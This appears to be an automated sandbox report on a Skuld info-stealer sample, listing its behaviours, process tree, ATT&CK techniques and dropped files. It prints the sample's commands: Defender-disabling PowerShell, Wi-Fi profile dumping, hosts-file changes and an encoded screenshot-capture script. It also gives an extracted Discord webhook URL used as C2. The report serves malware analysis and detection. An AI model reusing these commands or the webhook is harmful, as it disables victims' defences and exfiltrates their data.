Overview

overview

10

Static

static

10

zwerve.exe

windows7-x64

1

zwerve.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    136s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/09/2024, 06:38

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General

  • Target
    zwerve.exe
  • Size 9.9MB
  • Sample240916-heaevatdll
  • SHA256 292b6f8f6b1d5b1b6221ba6b1adb80ec554b61d61e9bb957121d8ceb16a8e34c
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
skuldcredential_accessdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationspywarestealer

Malware Config

Extracted

Family

  • skuld

C2

  • https://discord.com/api/webhooks/1284313945175359529/oAI5xFZA4-ekztJ7QNXooNejS1EcAtsj4Ddv5zy_k59bucqD089IfflyO8uUt-sNtITI

Signatures

  • Skuld stealer

    An info stealer written in Go lang.

    stealerskuld
  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

    credential_accessstealer
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Drops file in Drivers directory 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Detects videocard installed 1 TTPs 2 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 6 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\zwerve.exe
    "C:\Users\Admin\AppData\Local\Temp\zwerve.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Maps connected drives based on registry
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3124
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\zwerve.exe
      2⤵
      • Views/modifies file attributes
      PID:2888
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:4056
    • C:\Windows\System32\Wbem\wmic.exe
      wmic csproduct get UUID
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2492
    • C:\Windows\System32\Wbem\wmic.exe
      wmic path win32_VideoController get name
      2⤵
      • Detects videocard installed
      • Suspicious use of AdjustPrivilegeToken
      PID:1440
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\zwerve.exe
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:4212
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
        PID:4804
      • C:\Windows\System32\Wbem\wmic.exe
        wmic cpu get Name
        2⤵
          PID:3480
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:4948
        • C:\Windows\System32\Wbem\wmic.exe
          wmic path win32_VideoController get name
          2⤵
          • Detects videocard installed
          PID:1532
        • C:\Windows\System32\Wbem\wmic.exe
          wmic csproduct get UUID
          2⤵
            PID:1748
          • C:\Windows\system32\attrib.exe
            attrib -r C:\Windows\System32\drivers\etc\hosts
            2⤵
            • Drops file in Drivers directory
            • Views/modifies file attributes
            PID:3656
          • C:\Windows\system32\attrib.exe
            attrib +r C:\Windows\System32\drivers\etc\hosts
            2⤵
            • Drops file in Drivers directory
            • Views/modifies file attributes
            PID:2336
          • C:\Windows\system32\netsh.exe
            netsh wlan show profiles
            2⤵
            • Event Triggered Execution: Netsh Helper DLL
            • System Network Configuration Discovery: Wi-Fi Discovery
            PID:4532
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4268
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\r2odkjes\r2odkjes.cmdline"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3768
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAC4D.tmp" "c:\Users\Admin\AppData\Local\Temp\r2odkjes\CSCC3C49125E4F44B9FB01AFD2542BAA1C6.TMP"
                4⤵
                  PID:4536

          Network

                MITRE ATT&CK Enterprise v15

                Reconnaissance

                Resource Development

                Initial Access

                Execution

                Command and Scripting Interpreter

                1
                T1059

                PowerShell

                1
                T1059.001

                Persistence

                Boot or Logon Autostart Execution

                1
                T1547

                Registry Run Keys / Startup Folder

                1
                T1547.001

                Event Triggered Execution

                1
                T1546

                Netsh Helper DLL

                1
                T1546.007

                Privilege Escalation

                Boot or Logon Autostart Execution

                1
                T1547

                Registry Run Keys / Startup Folder

                1
                T1547.001

                Event Triggered Execution

                1
                T1546

                Netsh Helper DLL

                1
                T1546.007

                Defense Evasion

                Hide Artifacts

                1
                T1564

                Hidden Files and Directories

                1
                T1564.001

                Modify Registry

                2
                T1112

                Obfuscated Files or Information

                1
                T1027

                Command Obfuscation

                1
                T1027.010

                Subvert Trust Controls

                1
                T1553

                Install Root Certificate

                1
                T1553.004

                Credential Access

                Credentials from Password Stores

                1
                T1555

                Credentials from Web Browsers

                1
                T1555.003

                Unsecured Credentials

                4
                T1552

                Credentials In Files

                4
                T1552.001

                Discovery

                Browser Information Discovery

                1
                T1217

                Peripheral Device Discovery

                1
                T1120

                Query Registry

                1
                T1012

                System Information Discovery

                2
                T1082

                System Network Configuration Discovery

                1
                T1016

                Wi-Fi Discovery

                1
                T1016.002

                Lateral Movement

                Collection

                Data from Local System

                3
                T1005

                Command and Control

                Web Service

                1
                T1102

                Exfiltration

                Impact

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                powershell.exe.log
                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
                • MD5 SHA1 SHA512
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 9f6fe2203df58ba90b512b436fd74f5eeb4f39f4f9f54a41e882fc54e5f35d51
                • MD5 SHA1 SHA512
                Submit Download

                Display (1).png
                • Path C:\Users\Admin\AppData\Local\Temp\PpjnCjkI62\Display (1).png
                • Size 404KB
                • SHA256 dc746e8a5ce775370ae9c71ae91eb7ac066d08a7340c1dda76c35a47d0780393
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                RESAC4D.tmp
                • Path C:\Users\Admin\AppData\Local\Temp\RESAC4D.tmp
                • Size 1KB
                • SHA256 b57c1ac1e4eb922feb9ccfc0404ad586a38c589991bfbd659938f10b18fc413e
                • MD5 SHA1 SHA512
                Submit Download

                __PSScriptPolicyTest_actwfaun.2ql.ps1
                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_actwfaun.2ql.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512
                Submit Download

                r2odkjes.dll
                • Path C:\Users\Admin\AppData\Local\Temp\r2odkjes\r2odkjes.dll
                • Size 4KB
                • SHA256 11cbf2ae61ea06c9898210cfc3a60a9124c7ecb98fd2ec891d2fa6526a13b49c
                • MD5 SHA1 SHA512
                Submit Download

                SecurityHealthSystray.exe
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
                • Size 9.9MB
                • SHA256 292b6f8f6b1d5b1b6221ba6b1adb80ec554b61d61e9bb957121d8ceb16a8e34c
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                hosts
                • Path C:\Windows\System32\drivers\etc\hosts
                • Size 2KB
                • SHA256 ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075
                • MD5 SHA1 SHA512
                Submit Download

                CSCC3C49125E4F44B9FB01AFD2542BAA1C6.TMP
                • Path \??\c:\Users\Admin\AppData\Local\Temp\r2odkjes\CSCC3C49125E4F44B9FB01AFD2542BAA1C6.TMP
                • Size 652B
                • SHA256 36aa0685f67921f7098c51a9f09d0f971d45d274d611d832a6d0c01cd2fd0c72
                • MD5 SHA1 SHA512
                Submit Download

                r2odkjes.0.cs
                • Path \??\c:\Users\Admin\AppData\Local\Temp\r2odkjes\r2odkjes.0.cs
                • Size 1004B
                • SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
                • MD5 SHA1 SHA512
                Submit Download

                r2odkjes.cmdline
                • Path \??\c:\Users\Admin\AppData\Local\Temp\r2odkjes\r2odkjes.cmdline
                • Size 607B
                • SHA256 9d89e4d6f0d2281516b6daca2d4eb55aec45aeaf45306d3d4126e37dcb54e8fe
                • MD5 SHA1 SHA512
                Submit Download

                memory/4212-4-0x000001B3B74F0000-0x000001B3B7512000-memory.dmp
                Download

                memory/4268-61-0x000002239D600000-0x000002239D608000-memory.dmp
                Download